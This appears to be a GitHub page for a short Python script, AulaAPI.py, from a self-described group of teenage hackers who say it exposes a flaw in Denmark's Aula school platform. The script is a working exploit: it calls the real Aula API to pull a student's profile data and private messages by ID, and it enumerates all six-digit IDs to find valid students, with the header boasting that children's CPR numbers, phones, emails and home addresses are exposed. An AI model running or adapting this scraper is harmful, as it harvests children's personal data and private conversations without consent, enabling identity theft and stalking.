-
Notifications
You must be signed in to change notification settings - Fork 2
/
AulaAPI.py
59 lines (38 loc) · 2.26 KB
/
AulaAPI.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
"""
____ _ _ _
| _ \(_) | | | |
| |_) |_ _ __ __ _ _ __ _ _ ___| |_ _| |__
| _ <| | '_ \ / _` | '__| | | | / __| | | | | '_ \
| |_) | | | | | (_| | | | |_| || (__| | |_| | |_) |
|____/|_|_| |_|\__,_|_| \__, (_)___|_|\__,_|_.__/
__/ |
|___/
~ Binary club
We are publishing this code for educational purposes only and to circumvent Kombit A/S Breaking multiple-laws, GDPR and other privacy regulations.
We are not responsible for any misuse of this code.
This Issue has been reported to the Kombit A/S team but no response has been received, Therefor we demand that you do not use this code for any illegal purposes.
Exposing Children SSN Numbers: (Social Security Number) or Better known as CPR numbers in Denmark.
Exposing Phone Numbers
Exposing Email Addresses
Exposing Home Addresses
______________________________________________________________________________________________________________
Project by Wrec & H4xton ~ The Binary.club team is a collective of Danish researchers and hackers aged between 15-19 y/o.
"""
import requests
class Aula:
def ReceiveStudenInformation(StudentID):
""" Get all information about the student. """
res = requests.get(f"https://www.aula.dk/api/v12/?method=profiles.getProfileMasterData&instProfileIds[]={StudentID}&fromAdministration=false")
print(res.text)
def ScrapeAula():
""" Scrapes all ID's between 100000 ... 999999, for possible students. """
for StudentID in range(100000, 999999):
res = requests.get(f"https://www.aula.dk/api/v12/?method=profiles.getProfileMasterData&instProfileIds[]={StudentID}&fromAdministration=true")
if res.status_code == 200:
print(f"{StudentID} ~ Is a valid ID and is being used by a student")
else:
print(f"{StudentID} ~ Is not a valid ID")
def ScrapeMessages(StudentID):
""" Get all conversations by student. """
res = requests.get(f"https://www.aula.dk/api/v12/?method=messages.getMessages&instProfileIds[]={StudentID}&fromAdministration=false")
print(res.text)